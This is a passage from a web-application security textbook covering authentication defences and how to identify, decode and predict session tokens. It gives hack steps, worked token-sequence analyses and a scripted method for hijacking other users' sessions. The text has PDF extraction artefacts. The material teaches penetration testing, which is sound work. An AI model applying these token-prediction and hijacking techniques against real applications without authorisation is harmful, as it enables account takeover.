usernames. And if strong requirements are in place for password quality, it is far less likely that the attacker will choose a password for testing that even a single user of the application has chosen. In addition to these controls, an application can specifi cally protect itself against this kind of attack through the use of CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) challenges on every page that may be a target for brute-force attacks (see Figure 6-9). If effective, this measure can prevent any automated submission of data to any application page, thereby keeping all kinds of password- guessing attacks from being executed manually. Note that much research has been done on CAPTCHA technologies, and automated attacks against them have in some cases been reliable. Furthermore, some attackers have been known to devise CAPTCHA-solving competitions, in which unwit- ting members of the public are leveraged as drones to assist the attacker. However, even if a particular kind of challenge is not entirely effective, it will still lead most casual attackers to desist and fi nd an application that does not employ the technique. Figure 6-9: A CAPTCHA control designed to hinder automated attacks TIP If you are attacking an application that uses CAPTCHA controls to hin- der automation, always closely review the HTML source for the page where the image appears. The authors have encountered cases where the solution c06.indd 198c06.indd 198 8/19/2011 12:06:42 PM8/19/2011 12:06:42 PMStuttard c06.indd V3 - 07/22/2011 Page 199 Chapter 6 Attacking Authentication 199 to the puzzle appears in literal form within the ALT attribute of the image tag, or within a hidden form fi eld, enabling a scripted attack to defeat the protection without actually solving the puzzle itself. Prevent Misuse of the Password Change Function A password change function should always be implemented, to allow periodic password expiration (if required) and to allow users to change passwords if they want to for any reason. As a key security mechanism, this needs to be well defended against misuse. The function should be accessible only from within an authenticated session. There should be no facility to provide a username, either explicitly or via a hidden form fi eld or cookie. Users have no legitimate need to attempt to change other people’s passwords. As a defense-in-depth measure, the function should be protected from unauthorized access gained via some other security defect in the applica- tion — such as a session-hijacking vulnerability, cross-site scripting, or even an unattended terminal. To this end, users should be required to reenter their existing password. The new password should be entered twice to prevent mistakes. The appli- cation should compare the “new password” and “confi rm new password” fi elds as its fi rst step and return an informative error if they do not match. The function should prevent the various attacks that can be made against the main login mechanism. A single generic error message should be used to notify users of any error in existing credentials, and the function should be temporarily suspended following a small number of failed attempts to change the password. Users should be notifi ed out-of-band (such as via e-mail) that their pass- word has been changed, but the message should not contain either their old or new credentials. Prevent Misuse of the Account Recovery Function In the most security-critical applications, such as online banking, account recovery in the event of a forgotten password is handled out-of-band. A user must make a telephone call and answer a series of security questions, and new credentials or a reactivation code are also sent out-of-band (via conventional mail) to the user’s registered home address. The majority of applications do not want or need this level of security, so an automated recovery function may be appropriate. c06.indd 199c06.indd 199 8/19/2011 12:06:42 PM8/19/2011 12:06:42 PMStuttard c06.indd V3 - 07/22/2011 Page 200 200 Chapter 6 Attacking Authentication A well-designed password recovery mechanism needs to prevent accounts from being compromised by an unauthorized party and minimize any disruption to legitimate users. Features such as password “hints” should never be used, because they mainly help an attacker trawl for accounts that have obvious hints set. The best automated solution for enabling users to regain control of accounts is to e-mail the user a unique, time-limited, unguessable, single-use recov- ery URL. This e-mail should be sent to the address that the user provided during registration. Visiting the URL allows the user to set a new pass- word. After this has been done, a second e-mail should be sent, indicating that a password change was made. To prevent an attacker from denying service to users by continually requesting password reactivation e-mails, the user’s existing credentials should remain valid until they are changed. To further protect against unauthorized access, applications may present users with a secondary challenge that they must complete before gain- ing access to the password reset function. Be sure that the design of this challenge does not introduce new vulnerabilities: The challenge should implement the same question or set of ques- tions for everyone, mandated by the application during registration. If users provide their own challenge, it is likely that some of these will be weak, and this also enables an attacker to enumerate valid accounts by identifying those that have a challenge set. Responses to the challenge should contain suffi cient entropy that they cannot be easily guessed. For example, asking the user for the name of his fi rst school is preferable to asking for his favorite color. Accounts should be temporarily suspended following a number of failed attempts to complete the challenge, to prevent brute-force attacks. The application should not leak any information in the event of failed responses to the challenge — regarding the validity of the username, any suspension of the account, and so on. Successful completion of the challenge should be followed by the process described previously, in which a message is sent to the user’s registered e-mail address containing a reactivation URL. Under no circumstances should the application disclose the user’s forgotten password or simply drop the user into an authenticated session. Even proceeding directly to the password reset function is undesirable. The response to the account recovery challenge will in general be easier for an attacker to guess than the original password, so it should not be relied upon on its own to authenticate the user. c06.indd 200c06.indd 200 8/19/2011 12:06:42 PM8/19/2011 12:06:42 PMStuttard c06.indd V3 - 07/22/2011 Page 201 Chapter 6 Attacking Authentication 201 Log, Monitor, and Notify The application should log all authentication-related events, including login, logout, password change, password reset, account suspension, and account recovery. Where applicable, both failed and successful attempts should be logged. The logs should contain all relevant details (such as username and IP address) but no security secrets (such as passwords). Logs should be strongly protected from unauthorized access, because they are a critical source of information leakage. Anomalies in authentication events should be processed by the appli- cation’s real-time alerting and intrusion prevention functionality. For example, application administrators should be made aware of patterns indicating brute-force attacks so that appropriate defensive and offensive measures can be considered. Users should be notifi ed out-of-band of any critical security events. For example, the application should send a message to a user’s registered e-mail address whenever he changes his password. Users should be notifi ed in-band of frequently occurring security events. For example, after a successful login, the application should inform users of the time and source IP/domain of the last login and the number of invalid login attempts made since then. If a user is made aware that her account is being subjected to a password-guessing attack, she is more likely to change her password frequently and set it to a strong value. Summary Authentication functions are perhaps the most prominent target in a typical application’s attack surface. By defi nition, they can be reached by unprivileged, anonymous users. If broken, they grant access to protected functionality and sensitive data. They lie at the core of the security mechanisms that an application employs to defend itself and are the front line of defense against unauthorized access. Real-world authentication mechanisms contain a myriad of design and imple- mentation fl aws. An effective assault against them needs to proceed systemati- cally, using a structured methodology to work through every possible avenue of attack. In many cases, open goals present themselves — bad passwords, ways to fi nd out usernames, vulnerability to brute-force attacks. At the other end of the spectrum, defects may be very hard to uncover. They may require meticulous examination of a convoluted login process to establish the assumptions being c06.indd 201c06.indd 201 8/19/2011 12:06:42 PM8/19/2011 12:06:42 PMStuttard c06.indd V3 - 07/22/2011 Page 202 202 Chapter 6 Attacking Authentication made and to help you spot the subtle logic fl aw that can be exploited to walk right through the door. The most important lesson when attacking authentication functionality is to look everywhere. In addition to the main login form, there may be functions to register new accounts, change passwords, remember passwords, recover forgotten passwords, and impersonate other users. Each of these presents a rich target of potential defects, and problems that have been consciously eliminated within one function often reemerge within others. Invest the time to scrutinize and probe every inch of attack surface you can fi nd, and your rewards may be great. Questions Answers can be found at http://mdsec.net/wahh. 1. While testing a web application, you log in using your credentials of joe and pass. During the login process, you see a request for the following URL appear in your intercepting proxy: http://www.wahh-app.com/app?action=login&uname=joe&password=pass What three vulnerabilities can you diagnose without probing any further? 2. How can self-registration functions introduce username enumeration vulnerabilities? How can these vulnerabilities be prevented? 3. A login mechanism involves the following steps: (a) The application requests the user’s username and passcode. (b) The application requests two randomly chosen letters from the user’s memorable word. Why is the required information requested in two separate steps? What defect would the mechanism contain if this were not the case? 4. A multistage login mechanism fi rst requests the user’s username and then various other items across successive stages. If any supplied item is invalid, the user is immediately returned to the fi rst stage. What is wrong with this mechanism, and how can the vulnerability be corrected? 5. An application incorporates an antiphishing mechanism into its login functionality. During registration, each user selects a specifi c image from a large bank of memorable images that the application presents to her. The login function involves the following steps: (a) The user enters her username and date of birth. c06.indd 202c06.indd 202 8/19/2011 12:06:42 PM8/19/2011 12:06:42 PMStuttard c06.indd V3 - 07/22/2011 Page 203 Chapter 6 Attacking Authentication 203 (b) If these details are correct, the application shows the user her chosen image; otherwise, a random image is displayed. (c) The user verifi es whether the correct image is displayed. If it is, she enters her password. The idea behind this antiphishing mechanism is that it enables the user to confi rm that she is dealing with the authentic application, not a clone, because only the real application knows the correct image to display to the user. What vulnerability does this antiphishing mechanism introduce into the login function? Is the mechanism effective at preventing phishing? c06.indd 203c06.indd 203 8/19/2011 12:06:42 PM8/19/2011 12:06:42 PMStuttard c06.indd V3 - 07/22/2011 Page 204 c06.indd 204c06.indd 204 8/19/2011 12:06:42 PM8/19/2011 12:06:42 PMStuttard c07.indd V3 - 07/22/2011 Page 205 205 CHAPTER 7 Attacking Session Management The session management mechanism is a fundamental security component in the majority of web applications. It is what enables the application to uniquely identify a given user across a number of different requests and to handle the data that it accumulates about the state of that user’s interaction with the application. Where an application implements login functionality, session man- agement is of particular importance, because it is what enables the application to persist its assurance of any given user’s identity beyond the request in which he supplies his credentials. Because of the key role played by session management mechanisms, they are a prime target for malicious attacks against the application. If an attacker can break an application’s session management, she can effectively bypass its authentication controls and masquerade as other application users without knowing their credentials. If an attacker compromises an administrative user in this way, the attacker can own the entire application. As with authentication mechanisms, a wide variety of defects can commonly be found in session management functions. In the most vulnerable cases, an attacker simply needs to increment the value of a token issued to him by the application to switch his context to that of a different user. In this situation, the application is wide open for anyone to access all areas. At the other end of the spectrum, an attacker may have to work extremely hard, deciphering several layers of obfuscation and devising a sophisticated automated attack, before fi nding a chink in the application’s armor. c07.indd 205c07.indd 205 8/19/2011 12:07:38 PM8/19/2011 12:07:38 PMStuttard c07.indd V3 - 07/22/2011 Page 206 206 Chapter 7 Attacking Session Management This chapter looks at all the types of weakness the authors have encountered in real-world web applications. It sets out in detail the practical steps you need to take to fi nd and exploit these defects. Finally, it describes the defensive mea- sures that applications should take to protect themselves against these attacks. COMMON MYTH “We use smartcards for authentication, and users’ sessions cannot be com- promised without them.” However robust an application’s authentication mechanism, subsequent requests from users are only linked back to that authentication via the result- ing session. If the application’s session management is fl awed, an attacker can bypass the robust authentication and still compromise users. The Need for State The HTTP protocol is essentially stateless. It is based on a simple request-response model, in which each pair of messages represents an independent transaction. The protocol itself contains no mechanism for linking the series of requests made by a particular user and distinguishing these from all the other requests received by the web server. In the early days of the Web, there was no need for any such mechanism: websites were used to publish static HTML pages for anyone to view. Today, things are very different. The majority of web “sites” are in fact web applications. They allow you to register and log in. They let you buy and sell goods. They remember your pref- erences the next time you visit. They deliver rich multimedia experiences with content created dynamically based on what you click and type. To implement any of this functionality, web applications need to use the concept of a session. The most obvious use of sessions is in applications that support logging in. After entering your username and password, you can use the application as the user whose credentials you have entered, until you log out or the session expires due to inactivity. Without a session, a user would have to reenter his password on every page of the application. Hence, after authenticating the user once, the application creates a session for him and treats all requests belonging to that session as coming from that user. Applications that do not have a login function also typically need to use ses- sions. Many sites selling merchandise do not require customers to create accounts. However, they allow users to browse the catalog, add items to a shopping basket, provide delivery details, and make a payment. In this scenario, there is no need to authenticate the user’s identity: for the majority of his visit, the application does not know or care who the user is. But to do business with him, it needs to know which series of requests it receives originated from the same user. c07.indd 206c07.indd 206 8/19/2011 12:07:38 PM8/19/2011 12:07:38 PMStuttard c07.indd V3 - 07/22/2011 Page 207 Chapter 7 Attacking Session Management 207 The simplest and still most common means of implementing sessions is to issue each user a unique session token or identifi er. On each subsequent request to the application, the user resubmits this token, enabling the application to determine which sequence of earlier requests the current request relates to. In most cases, applications use HTTP cookies as the transmission mechanism for passing these session tokens between server and client. The server’s fi rst response to a new client contains an HTTP header like the following: Set-Cookie: ASP.NET_SessionId=mza2ji454s04cwbgwb2ttj55 and subsequent requests from the client contain this header: Cookie: ASP.NET_SessionId=mza2ji454s04cwbgwb2ttj55 This standard session management mechanism is inherently vulnerable to various categories of attack. An attacker’s primary objective in targeting the mechanism is to somehow hijack the session of a legitimate user and thereby masquerade as that person. If the user has been authenticated to the application, the attacker may be able to access private data belonging to the user or carry out unauthorized actions on that person’s behalf. If the user is unauthenticated, the attacker may still be able to view sensitive information submitted by the user during her session. As in the previous example of a Microsoft IIS server running ASP.NET, most commercial web servers and web application platforms implement their own off-the-shelf session management solution based on HTTP cookies. They provide APIs that web application developers can use to integrate their own session- dependent functionality with this solution. Some off-the-shelf implementations of session management have been found to be vulnerable to various attacks, which results in users’ sessions being compro- mised (these are discussed later in this chapter). In addition, some developers fi nd that they need more fi ne-grained control over session behavior than is provided for them by the built-in solutions, or they want to avoid some vulnerabilities inherent in cookie-based solutions. For these reasons, it is fairly common to see bespoke and/or non-cookie-based session management mechanisms used in security-critical applications such as online banking. The vulnerabilities that exist in session management mechanisms largely fall into two categories: Weaknesses in the generation of session tokens Weaknesses in the handling of session tokens throughout their life cycle We will look at each of these areas in turn, describing the different types of defects that are commonly found in real-world session management mecha- nisms, and practical techniques for discovering and exploiting these. Finally, we will describe measures that applications can take to defend themselves against these attacks. c07.indd 207c07.indd 207 8/19/2011 12:07:38 PM8/19/2011 12:07:38 PMStuttard c07.indd V3 - 07/22/2011 Page 208 208 Chapter 7 Attacking Session Management HACK STEPS In many applications that use the standard cookie mechanism to transmit session tokens, it is straightforward to identify which item of data contains the token. However, in other cases this may require some detective work. 1. The application may often employ several different items of data col- lectively as a token, including cookies, URL parameters, and hidden form fields. Some of these items may be used to maintain session state on dif- ferent back-end components. Do not assume that a particular parameter is the session token without proving it, or that sessions are being tracked using only one item. 2. Sometimes, items that appear to be the application’s session token may not be. In particular, the standard session cookie generated by the web server or application platform may be present but not actually used by the application. 3. Observe which new items are passed to the browser after authentication. Often, new session tokens are created after a user authenticates herself. 4. To verify which items are actually being employed as tokens, find a page that is definitely session-dependent (such as a user-specific “my details” page). Make several requests for it, systematically removing each item that you suspect is being used as a token. If removing an item causes the session-dependent page not to be returned, this may confirm that the item is a session token. Burp Repeater is a useful tool for performing these tests. Alternatives to Sessions Not every web application employs sessions, and some security-critical applica- tions containing authentication mechanisms and complex functionality opt to use other techniques to manage state. You are likely to encounter two possible alternatives: HTTP authentication — Applications using the various HTTP-based authentication technologies (basic, digest, NTLM) sometimes avoid the need to use sessions. With HTTP authentication, the client component interacts with the authentication mechanism directly via the browser, using HTTP headers, and not via application-specifi c code contained within any individual page. After the user enters his credentials into a browser dialog, the browser effectively resubmits these credentials (or reperforms any required handshake) with every subsequent request to the same server. This is equivalent to an application that uses HTML forms-based authentication and places a login form on every application page, requiring users to reauthenticate themselves with every action they perform. Hence, when HTTP-based authentication is used, it is possible c07.indd 208c07.indd 208 8/19/2011 12:07:38 PM8/19/2011 12:07:38 PMStuttard c07.indd V3 - 07/22/2011 Page 209 Chapter 7 Attacking Session Management 209 for an application to reidentify the user across multiple requests without using sessions. However, HTTP authentication is rarely used on Internet- based applications of any complexity, and the other versatile benefi ts that fully fl edged session mechanisms offer mean that virtually all web applications do in fact employ these mechanisms. Sessionless state mechanisms — Some applications do not issue session tokens to manage the state of a user’s interaction with the application. Instead, they transmit all data required to manage that state via the client, usually in a cookie or a hidden form fi eld. In effect, this mechanism uses sessionless state much like the ASP.NET ViewState does. For this type of mechanism to be secure, the data transmitted via the client must be properly protected. This usually involves constructing a binary blob containing all the state information and encrypting or signing this using a recognized algorithm. Suffi cient context must be included within the data to prevent an attacker from collecting a state object at one location within the application and submitting it to another location to cause some undesirable behavior. The application may also include an expiration time within the object’s data to perform the equivalent of session timeouts. Chapter 5 describes in more detail secure mechanisms for transmitting data via the client. HACK STEPS 1. If HTTP authentication is being used, it is possible that no session manage- ment mechanism is implemented. Use the methods described previously to examine the role played by any token-like items of data. 2. If the application uses a sessionless state mechanism, transmitting all data required to maintain state via the client, this may sometimes be difficult to detect with certainty, but the following are strong indicators that this kind of mechanism is being used: Token-like data items issued to the client are fairly long (100 or more bytes). The application issues a new token-like item in response to every request. The data in the item appears to be encrypted (and therefore has no discernible structure) or signed (and therefore has a meaningful structure accompanied by a few bytes of meaningless binary data). The application may reject attempts to submit the same item with more than one request. 3. If the evidence suggests strongly that the application is not using session tokens to manage state, it is unlikely that any of the attacks described in this chapter will achieve anything. Your time probably would be better spent looking for other serious issues such as broken access controls or code injection. c07.indd 209c07.indd 209 8/19/2011 12:07:39 PM8/19/2011 12:07:39 PMStuttard c07.indd V3 - 07/22/2011 Page 210 210 Chapter 7 Attacking Session Management Weaknesses in Token Generation Session management mechanisms are often vulnerable to attack because tokens are generated in an unsafe manner that enables an attacker to identify the values of tokens that have been issued to other users. NOTE There are numerous locations where an application’s security depends on the unpredictability of tokens it generates. Here are some examples: Password recovery tokens sent to the user’s registered e-mail address Tokens placed in hidden form fi elds to prevent cross-site request forgery attacks (see Chapter 13) Tokens used to give one-time access to protected resources Persistent tokens used in “remember me” functions Tokens allowing customers of a shopping application that does not use authentication to retrieve the current status of an existing order The considerations in this chapter relating to weaknesses in token generation apply to all these cases. In fact, because many of today’s applications rely on mature platform mechanisms to generate session tokens, it is often in these other areas of functionality that exploitable weaknesses in token generation are found. Meaningful Tokens Some session tokens are created using a transformation of the user’s username or e-mail address, or other information associated with that person. This infor- mation may be encoded or obfuscated in some way and may be combined with other data. For example, the following token may initially appear to be a long random string: 757365723d6461663b6170703d61646d696e3b646174653d30312f31322f3131 However, on closer inspection, you can see that it contains only hexadecimal characters. Guessing that the string may actually be a hex encoding of a string of ASCII characters, you can run it through a decoder to reveal the following: user=daf;app=admin;date=10/09/11 c07.indd 210c07.indd 210 8/19/2011 12:07:39 PM8/19/2011 12:07:39 PMStuttard c07.indd V3 - 07/22/2011 Page 211 Chapter 7 Attacking Session Management 211 Attackers can exploit the meaning within this session token to attempt to guess the current sessions of other application users. Using a list of enumerated or common usernames, they can quickly generate large numbers of potentially valid tokens and test these to confi rm which are valid. Tokens that contain meaningful data often exhibit a structure. In other words, they contain several components, often separated by a delimiter, that can be extracted and analyzed separately to allow an attacker to understand their function and means of generation. Here are some components that may be encountered within structured tokens: The account username The numeric identifi er that the application uses to distinguish between accounts The user’s fi rst and last names The user’s e-mail address The user’s group or role within the application A date/time stamp An incrementing or predictable number The client IP address Each different component within a structured token, or indeed the entire token, may be encoded in different ways. This can be a deliberate measure to obfuscate their content, or it can simply ensure safe transport of binary data via HTTP. Encoding schemes that are commonly encountered include XOR, Base64, and hexadecimal representation using ASCII characters (see Chapter 3). It may be necessary to test various decodings on each component of a structured token to unpack it to its original form. NOTE When an application handles a request containing a structured token, it may not actually process every component with the token or all the data contained in each component. In the previous example, the application may Base64-decode the token and then process only the “user” and “date” com- ponents. In cases where a token contains a blob of binary data, much of this data may be padding. Only a small part of it may actually be relevant to the validation that the server performs on the token. Narrowing down the sub- parts of a token that are actually required can often considerably reduce the amount of apparent entropy and complexity that the token contains. c07.indd 211c07.indd 211 8/19/2011 12:07:39 PM8/19/2011 12:07:39 PMStuttard c07.indd V3 - 07/22/2011 Page 212 212 Chapter 7 Attacking Session Management HACK STEPS 1. Obtain a single token from the application, and modify it in systematic ways to determine whether the entire token is validated or whether some of its subcomponents are ignored. Try changing the token’s value one byte at a time (or even one bit at a time) and resubmitting the modified token to the application to determine whether it is still accepted. If you find that certain portions of the token are not actually required to be cor- rect, you can exclude these from any further analysis, potentially reducing the amount of work you need to perform. You can use the “char frobber” payload type in Burp Intruder to modify a token’s value in one character position at a time, to help with this task. 2. Log in as several different users at different times, and record the tokens received from the server. If self-registration is available and you can choose your username, log in with a series of similar usernames containing small variations between them, such as A, AA, AAA, AAAA, AAAB, AAAC, AABA, and so on. If other user-specific data is submitted at login or stored in user profiles (such as an e-mail address), perform a similar exercise to vary that data systematically, and record the tokens received following login. 3. Analyze the tokens for any correlations that appear to be related to the username and other user-controllable data. 4. Analyze the tokens for any detectable encoding or obfuscation. Where the username contains a sequence of the same character, look for a correspond- ing character sequence in the token, which may indicate the use of XOR obfuscation. Look for sequences in the token containing only hexadecimal characters, which may indicate a hex encoding of an ASCII string or other information. Look for sequences that end in an equals sign and/or that con- tain only the other valid Base64 characters: a to z, A to Z, 0 to 9, +, and /. 5. If any meaning can be reverse-engineered from the sample of session tokens, consider whether you have sufficient information to attempt to guess the tokens recently issued to other application users. Find a page of the application that is session-dependent, such as one that returns an error message or a redirect elsewhere if accessed without a valid session. Then use a tool such as Burp Intruder to make large numbers of requests to this page using guessed tokens. Monitor the results for any cases in which the page is loaded correctly, indicating a valid session token. TRY IT! http://mdsec.net/auth/321/ http://mdsec.net/auth/329/ http://mdsec.net/auth/331/ c07.indd 212c07.indd 212 8/19/2011 12:07:39 PM8/19/2011 12:07:39 PMStuttard c07.indd V3 - 07/22/2011 Page 213 Chapter 7 Attacking Session Management 213 Predictable Tokens Some session tokens do not contain any meaningful data associating them with a particular user. Nevertheless, they can be guessed because they contain sequences or patterns that allow an attacker to extrapolate from a sample of tokens to fi nd other valid tokens recently issued by the application. Even if the extrapolation involves some trial and error (for example, one valid guess per 1,000 attempts), this would still enable an automated attack to identify large numbers of valid tokens in a relatively short period of time. Vulnerabilities relating to predictable token generation may be much easier to discover in commercial implementations of session management, such as web servers or web application platforms, than they are in bespoke applications. When you are remotely targeting a bespoke session management mechanism, your sample of issued tokens may be restricted by the server’s capacity, the activity of other users, your bandwidth, network latency, and so on. In a labora- tory environment, however, you can quickly create millions of sample tokens, all precisely sequenced and time-stamped, and you can eliminate interference caused by other users. In the simplest and most brazenly vulnerable cases, an application may use a simple sequential number as the session token. In this case, you only need to obtain a sample of two or three tokens before launching an attack that will quickly capture 100% of currently valid sessions. Figure 7-1 shows Burp Intruder being used to cycle the last two digits of a sequential session token to fi nd values where the session is still active and can be hijacked. Here, the length of the server’s response is a reliable indicator that a valid session has been found. The extract grep feature has also been used to show the name of the logged-in user for each session. In other cases, an application’s tokens may contain more elaborate sequences that take some effort to discover. The types of potential variations you might encounter here are open-ended, but the authors’ experience in the fi eld indicates that predictable session tokens commonly arise from three different sources: Concealed sequences Time dependency Weak random number generation We will look at each of these areas in turn. Concealed Sequences It is common to encounter session tokens that cannot be easily predicted when analyzed in their raw form but that contain sequences that reveal themselves when the tokens are suitably decoded or unpacked. c07.indd 213c07.indd 213 8/19/2011 12:07:39 PM8/19/2011 12:07:39 PMStuttard c07.indd V3 - 07/22/2011 Page 214 214 Chapter 7 Attacking Session Management Figure 7-1: An attack to discover valid sessions where the session token is predictable Consider the following series of values, which form one component of a structured session token: lwjVJA Ls3Ajg xpKr+A XleXYg 9hyCzA jeFuNg JaZZoA No immediate pattern is discernible; however, a cursory inspection indicates that the tokens may contain Base64-encoded data. In addition to the mixed-case alphabetic and numeric characters, there is a + character, which is also valid in a Base64-encoded string. Running the tokens through a Base64 decoder reveals the following: --Õ$ .ÍÀŽ Æ’«ø ^W-b ö‚Ì ?án6 %¦Y c07.indd 214c07.indd 214 8/19/2011 12:07:39 PM8/19/2011 12:07:39 PMStuttard c07.indd V3 - 07/22/2011 Page 215 Chapter 7 Attacking Session Management 215 These strings appear to be gibberish and also contain nonprinting characters. This normally indicates that you are dealing with binary data rather than ASCII text. Rendering the decoded data as hexadecimal numbers gives you the following: 9708D524 2ECDC08E C692ABF8 5E579762 F61C82CC 8DE16E36 25A659A0 There is still no visible pattern. However, if you subtract each number from the previous one, you arrive at the following: FF97C4EB6A 97C4EB6A FF97C4EB6A 97C4EB6A FF97C4EB6A FF97C4EB6A which immediately reveals the concealed pattern. The algorithm used to generate tokens adds 0x97C4EB6A to the previous value, truncates the result to a 32-bit number, and Base64-encodes this binary data to allow it to be transported using the text-based protocol HTTP. Using this knowledge, you can easily write a script to produce the series of tokens that the server will next produce, and the series that it produced prior to the captured sample. Time Dependency Some web servers and applications employ algorithms to generate session tokens that use the time of generation as an input to the token’s value. If insuffi cient other entropy is incorporated into the algorithm, you may be able to predict other users’ tokens. Although any given sequence of tokens on its own may appear to be random, the same sequence coupled with information about the time at which each token was generated may contain a discernible pattern. In a busy application with a large number of sessions being created each second, a scripted attack may succeed in identifying large numbers of other users’ tokens. When testing the web application of an online retailer, the authors encoun- tered the following sequence of session tokens: 3124538-1172764258718 3124539-1172764259062 3124540-1172764259281 3124541-1172764259734 3124542-1172764260046 3124543-1172764260156 c07.indd 215c07.indd 215 8/19/2011 12:07:39 PM8/19/2011 12:07:39 PMStuttard c07.indd V3 - 07/22/2011 Page 216 216 Chapter 7 Attacking Session Management 3124544-1172764260296 3124545-1172764260421 3124546-1172764260812 3124547-1172764260890 Each token is clearly composed of two separate numeric components. The fi rst number follows a simple incrementing sequence and is easy to predict. The second number increases by a varying amount each time. Calculating the differences between its value in each successive token reveals the following: 344 219 453 312 110 140 125 391 78 The sequence does not appear to contain a reliably predictable pattern. However, it would clearly be possible to brute-force the relevant number range in an auto- mated attack to discover valid values in the sequence. Before attempting this attack, however, we wait a few minutes and gather a further sequence of tokens: 3124553-1172764800468 3124554-1172764800609 3124555-1172764801109 3124556-1172764801406 3124557-1172764801703 3124558-1172764802125 3124559-1172764802500 3124560-1172764802656 3124561-1172764803125 3124562-1172764803562 Comparing this second sequence of tokens with the fi rst, two points are imme- diately obvious: The fi rst numeric sequence continues to progress incrementally; however, fi ve values have been skipped since the end of the fi rst sequence. This is presumably because the missing values have been issued to other users who logged in to the application in the window between the two tests. The second numeric sequence continues to progress by similar intervals as before; however, the fi rst value we obtain is a massive 539,578 greater than the previous value. c07.indd 216c07.indd 216 8/19/2011 12:07:39 PM8/19/2011 12:07:39 PMStuttard c07.indd V3 - 07/22/2011 Page 217 Chapter 7 Attacking Session Management 217 This second observation immediately alerts us to the role played by time in generating session tokens. Apparently, only fi ve tokens have been issued between the two token-grabbing exercises. However, a period of approximately 10 minutes has elapsed. The most likely explanation is that the second number is time-dependent and is probably a simple count of milliseconds. Indeed, our hunch is correct. In a subsequent phase of our testing we perform a code review, which reveals the following token-generation algorithm: String sessId = Integer.toString(s_SessionIndex++) + “-” + System.currentTimeMillis(); Given our analysis of how tokens are created, it is straightforward to con- struct a scripted attack to harvest the session tokens that the application issues to other users: We continue polling the server to obtain new session tokens in quick succession. We monitor the increments in the fi rst number. When this increases by more than 1, we know that a token has been issued to another user. When a token has been issued to another user, we know the upper and lower bounds of the second number that was issued to that person, because we possess the tokens that were issued immediately before and after his. Because we are obtaining new session tokens frequently, the range between these bounds will typically consist of only a few hundred values. Each time a token is issued to another user, we launch a brute-force attack to iterate through each number in the range, appending this to the miss- ing incremental number that we know was issued to the other user. We attempt to access a protected page using each token we construct, until the attempt succeeds and we have compromised the user’s session. Running this scripted attack continuously will enable us to capture the session token of every other application user. When an administrative user logs in, we will fully compromise the entire application. TRY IT! http://mdsec.net/auth/339/ http://mdsec.net/auth/340/ http://mdsec.net/auth/347/ http://mdsec.net/auth/351/ c07.indd 217c07.indd 217 8/19/2011 12:07:40 PM8/19/2011 12:07:40 PMStuttard c07.indd V3 - 07/22/2011 Page 218 218 Chapter 7 Attacking Session Management Weak Random Number Generation Very little that occurs inside a computer is random. Therefore, when random- ness is required for some purpose, software uses various techniques to generate numbers in a pseudorandom manner. Some of the algorithms used produce sequences that appear to be stochastic and manifest an even spread across the range of possible values. Nevertheless, they can be extrapolated forwards or backwards with perfect accuracy by anyone who obtains a small sample of values. When a predictable pseudorandom number generator is used to produce session tokens, the resulting tokens are vulnerable to sequencing by an attacker. Jetty is a popular web server written in 100% Java that provides a session management mechanism for use by applications running on it. In 2006, Chris Anley of NGSSoftware discovered that the mechanism was vulnerable to a session token prediction attack. The server used the Java API java.util.Random to generate session tokens. This implements a “linear congruential generator,” which generates the next number in the sequence as follows: synchronized protected int next(int bits) { seed = (seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1); return (int)(seed >>> (48 - bits)); } This algorithm takes the last number generated, multiplies it by a constant, and adds another constant to obtain the next number. The number is truncated to 48 bits, and the algorithm shifts the result to return the specifi c number of bits requested by the caller. Knowing this algorithm and a single number generated by it, we can easily derive the sequence of numbers that the algorithm will generate next. With a little number theory, we also can derive the sequence that it generated previ- ously. This means that an attacker who obtains a single session token from the server can obtain the tokens of all current and future sessions. NOTE Sometimes when tokens are created based on the output of a pseu- dorandom number generator, developers decide to construct each token by concatenating several sequential outputs from the generator. The perceived rationale for this is that it creates a longer, and therefore “stronger,” token. However, this tactic is usually a mistake. If an attacker can obtain several consecutive outputs from the generator, this may enable him to infer some information about its internal state. In fact, it may be easier for the attacker to extrapolate the generator’s sequence of outputs, either forward or backward. Other off-the-shelf application frameworks use surprisingly simple or predict- able sources of entropy in session token generation, much of which is deterministic. For example, in PHP frameworks 5.3.2 and earlier, the session token is generated c07.indd 218c07.indd 218 8/19/2011 12:07:40 PM8/19/2011 12:07:40 PMStuttard c07.indd V3 - 07/22/2011 Page 219 Chapter 7 Attacking Session Management 219 based on the client’s IP address, epoch time at token creation, microseconds at token creation, and a linear congruential generator. Although there are several unknown values here, some applications may disclose information that allows them to be inferred. A social networking site may disclose the login time and IP address of site users. Additionally, the seed used in this generator is the time when the PHP process started, which could be determined to lie within a small range of values if the attacker is monitoring the server. NOTE This is an evolving area of research. The weaknesses in PHP’s session token generation were pointed out on the Full Disclosure mailing list in 2001 but were not demonstrated to be actually exploitable. The 2001 theory was fi nally put into practice by Samy Kamkar with the phpwn tool in 2010. Testing the Quality of Randomness In some cases, you can identify patterns in a series of tokens just from visual inspection, or from a modest amount of manual analysis. In general, however, you need to use a more rigorous approach to testing the quality of randomness within an application’s tokens. The standard approach to this task applies the principles of statistical hypoth- esis testing and employs various well-documented tests that look for evidence of nonrandomness within a sample of tokens. The high-level steps in this process are as follows: 1. Start with the hypothesis that the tokens are randomly generated. 2. Apply a series of tests, each of which observes specifi c properties of the sample that are likely to have certain characteristics if the tokens are randomly generated. 3. For each test, calculate the probability of the observed characteristics occurring, working on the assumption that the hypothesis is true. 4. If this probability falls below a certain level (the “signifi cance level”), reject the hypothesis and conclude that the tokens are not randomly generated. The good news is you don’t have to do any of this manually! The best tool that is currently available for testing the randomness of web application tokens is Burp Sequencer. This tool applies several standard tests in a fl exible way and gives you clear results that are easy to interpret. To use Burp Sequencer, you need to fi nd a response from the application that issues the token you want to test, such as a response to a login request that issues a new cookie containing a session token. Select the “send to sequencer” option from Burp’s context menu, and in the Sequencer confi guration, set the location of the token within the response, as shown in Figure 7-2. You can also c07.indd 219c07.indd 219 8/19/2011 12:07:40 PM8/19/2011 12:07:40 PMStuttard c07.indd V3 - 07/22/2011 Page 220 220 Chapter 7 Attacking Session Management confi gure various options that affect how tokens are collected, and then click the start capture button to begin capturing tokens. If you have already obtained a suitable sample of tokens through other means (for example, by saving the results of a Burp Intruder attack), you can use the manual load tab to skip the capturing of tokens and proceed straight to the statistical analysis. Figure 7-2: Configuring Burp Sequencer to test the randomness of a session token When you have obtained a suitable sample of tokens, you can perform the statistical analysis on the sample. You can also perform interim analyses while the sample is still being captured. In general, obtaining a larger sample improves the reliability of the analysis. The minimum sample 